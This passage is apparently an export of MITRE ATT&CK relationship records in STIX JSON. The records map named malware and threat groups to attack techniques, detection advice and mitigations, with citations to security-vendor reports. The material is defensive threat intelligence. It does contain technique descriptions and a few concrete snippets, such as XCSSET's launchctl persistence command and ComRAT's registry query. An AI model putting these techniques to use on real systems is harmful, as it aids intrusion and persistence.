"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b47be693-c3f4-4f21-ba08-4e2fe170bc51", "created": "2023-04-10T16:51:54.688Z", "revoked": false, "external_references": [{"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. 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(2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-19T20:39:21.911Z", "description": "[Denis](https://attack.mitre.org/software/S0354) enumerates and collects the username from the victim\u2019s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4810e29-e543-4816-a6a2-d9c0b96eed07", "type": "relationship", "created": "2019-01-30T13:24:09.068Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Octopus Oct 2018", "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}], "modified": "2021-08-24T16:07:39.101Z", "description": "[Octopus](https://attack.mitre.org/software/S0340) has used wmic.exe for local discovery information.(Citation: Securelist Octopus Oct 2018)", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b48242d1-a81e-4dd0-85fa-563aa907aa94", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T21:57:40.209Z", "description": "Monitor executed commands and arguments of binaries involved in shutting down or rebooting systems. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:48:26.319Z", "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has directed users to open URLs hosting malicious content.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4912109-2712-4f26-b49d-a5357a49fc41", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor executed commands and arguments the 'systemd-run' utility as it may be used to create timers", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4947254-3a74-4708-a45c-65eff5bd9a2c", "type": "relationship", "created": "2020-03-17T02:10:50.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "source_name": "Dell TG-3390"}], "modified": "2020-03-17T02:10:50.591Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use DNS for command and control.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b499e6f7-77bc-422b-b7ef-058d223a69e6", "type": "relationship", "created": "2022-01-26T21:51:21.537Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "modified": "2022-01-26T21:51:21.537Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) has used raw sockets for network communication.(Citation: Talos Bisonal Mar 2020)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b49eaa88-9940-4e38-b247-5d13324422f8", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor executed commands and arguments that may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. 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Retrieved February 4, 2019.", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"}]}, {"type": "relationship", "id": "relationship--b49fbcf8-ccc9-442b-a0d5-0bb595691775", "created": "2024-03-05T20:38:06.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}, {"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. 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Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T18:44:09.599Z", "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of providing shell functionality to the attacker to execute commands.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b4eefafe-e3d6-4b25-8485-7022c00cc462", "created": "2023-06-02T15:28:55.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T02:25:19.465Z", "description": "If direct virtual machine connections are not required for administrative use, disable these connection types where feasible.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4ef6c6e-d7aa-451a-b071-faf0138cfbff", "type": "relationship", "created": "2020-06-11T20:08:11.419Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. 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Retrieved October 14, 2019."}], "modified": "2020-06-11T20:08:11.419Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to inject the <code>LoadLibrary</code> call template DLL into running processes.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b4f84fa2-5cca-4df3-ab7c-bce3c0e3ca18", "created": "2023-09-29T18:37:35.725Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:37:35.725Z", "description": "Monitor for downloaded malicious files, though developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by LNK Icon Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}], "modified": "2020-03-17T01:22:43.697Z", "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence through the system screensaver by configuring it to execute the malware.(Citation: ESET Gazer Aug 2017)", "relationship_type": "uses", "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b4fad2c0-1407-4409-af5d-2cd098a1e536", "created": "2023-03-26T22:01:21.533Z", "revoked": false, "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T22:01:21.533Z", "description": "(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4ff0d25-3efb-4deb-898e-f25e18d4ae90", "type": "relationship", "created": "2021-11-12T19:30:36.102Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2022-03-09T18:35:37.265Z", "description": "[Diavol](https://attack.mitre.org/software/S0659) has used several API calls like `GetLogicalDriveStrings`, `SleepEx`, `SystemParametersInfoAPI`, `CryptEncrypt`, and others to execute parts of its attack.(Citation: Fortinet Diavol July 2021)", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b5023b20-4243-4686-8b51-429ae7ac73cb", "type": "relationship", "created": "2019-07-18T19:18:32.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-02T22:11:32.230Z", "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b502aff3-128e-4715-a8bc-7b7b8fa0be74", "type": "relationship", "created": "2021-10-07T21:28:23.985Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-07T21:28:23.985Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) loads a system level launchdaemon using the <code>launchctl load -w</code> command from <code>/System/Librarby/LaunchDaemons/ssh.plist</code>.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b509e591-b086-4631-a9ba-5a5dc80de8d0", "type": "relationship", "created": "2019-01-29T18:44:04.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", "source_name": "Fortinet Agent Tesla April 2018"}, {"source_name": "Fortinet Agent Tesla June 2017", "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html", "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."}, {"source_name": "Malwarebytes Agent Tesla April 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}], "modified": "2020-05-28T23:41:03.868Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the system's computer name and also has the capability to collect information on the processor, memory, OS, and video card from the system.(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Malwarebytes Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b50a211b-1c54-4e55-9285-584f4e7f9bda", "created": "2024-02-12T20:10:08.414Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:10:08.414Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) can be distributed through emails with malicious attachments from a spoofed email address.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b511900a-9bfe-4f8c-b1e2-b95669a5eaeb", "type": "relationship", "created": "2020-06-30T22:40:28.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2020-06-30T22:40:28.140Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) can check the default browser by querying <code>HKCR\\http\\shell\\open\\command</code>.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b516dc1a-69c7-4dd2-935a-b0b1dcee150f", "type": "relationship", "created": "2019-04-17T19:18:00.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Remexi Jan 2019", "url": "https://securelist.com/chafer-used-remexi-malware/89538/", "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}], "modified": "2020-03-30T03:03:49.188Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.(Citation: Securelist Remexi Jan 2019)", "relationship_type": "uses", "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b51d04ec-51da-4017-b806-210429592565", "type": "relationship", "created": "2020-12-17T15:24:12.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye ADFS", "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}], "modified": "2021-09-20T16:47:19.672Z", "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b5234d9f-a581-4bcd-9441-2c1d111f3ce8", "created": "2023-03-26T16:51:13.688Z", "revoked": false, "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T16:51:13.688Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) downloaded additional malware, such as [TEARDROP](https://attack.mitre.org/software/S0560) and [Cobalt Strike](https://attack.mitre.org/software/S0154), onto a compromised host following initial access.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b52fd457-405d-4cc3-b1f7-141ab6fbf04a", "created": "2022-07-25T18:34:15.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:21:13.774Z", "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can encrypt its payload.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b532ff8b-5bb2-4f62-9d4c-373ec92cfca0", "created": "2022-09-08T15:13:28.326Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. 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Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.558Z", "description": "(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b56b122d-0a12-4b1a-854e-5c0826603121", "type": "relationship", "created": "2021-02-23T20:50:33.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Conficker", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm", "description": "Burton, K. (n.d.). The Conficker Worm. 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Retrieved November 14, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Octopus](https://attack.mitre.org/software/S0340) has used HTTP GET and POST requests for C2 communications.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", "modified": "2022-04-06T17:17:57.271Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b58eb56c-9992-4fcd-ae4f-b7a1301667f0", "created": "2022-06-09T19:10:16.792Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "The [Saint Bot](https://attack.mitre.org/software/S1018) loader has used API calls to spawn `MSBuild.exe` in a suspended state before injecting the decrypted [Saint Bot](https://attack.mitre.org/software/S1018) binary into it.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:10:16.792Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b593a75c-245f-449c-861b-b283c47357f0", "type": "relationship", "created": "2020-12-28T19:08:56.363Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Cicada November 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "description": "Symantec. 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(2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-07T18:32:59.186Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) can search for processes associated with an anti-virus product from list.(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b5a76d12-71ed-49bb-ad13-4f136b4faa9d", "created": "2022-03-30T14:26:51.855Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands with arguments to install or modify login hooks.", "modified": "2022-04-16T02:41:53.199Z", "created_by_ref": 